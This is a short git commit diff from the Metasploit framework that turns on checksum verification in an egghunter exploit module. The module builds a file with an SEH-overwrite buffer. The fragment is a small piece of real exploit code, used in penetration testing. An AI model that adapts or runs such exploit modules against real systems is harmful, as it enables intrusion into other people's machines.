Verify checksum to avoid jumping to a corrupt payload

unstable
sinn3r 2012-04-19 18:52:43 -05:00
parent ae7c2acf9d
commit bce6c9abcf
1 changed files with 2 additions and 4 deletions

View File

@ -68,10 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def exploit def exploit
eggoptions = eggoptions =
{ {
:checksum => false, :checksum => true,
:eggtag => 'w00t' :eggtag => 'w00t'
} }
@ -85,8 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
buffer << [target.ret].pack('V') # seh buffer << [target.ret].pack('V') # seh
print_status("Creating '#{datastore['FILENAME']}' file ...") print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buffer) file_create(buffer)
end
end end
end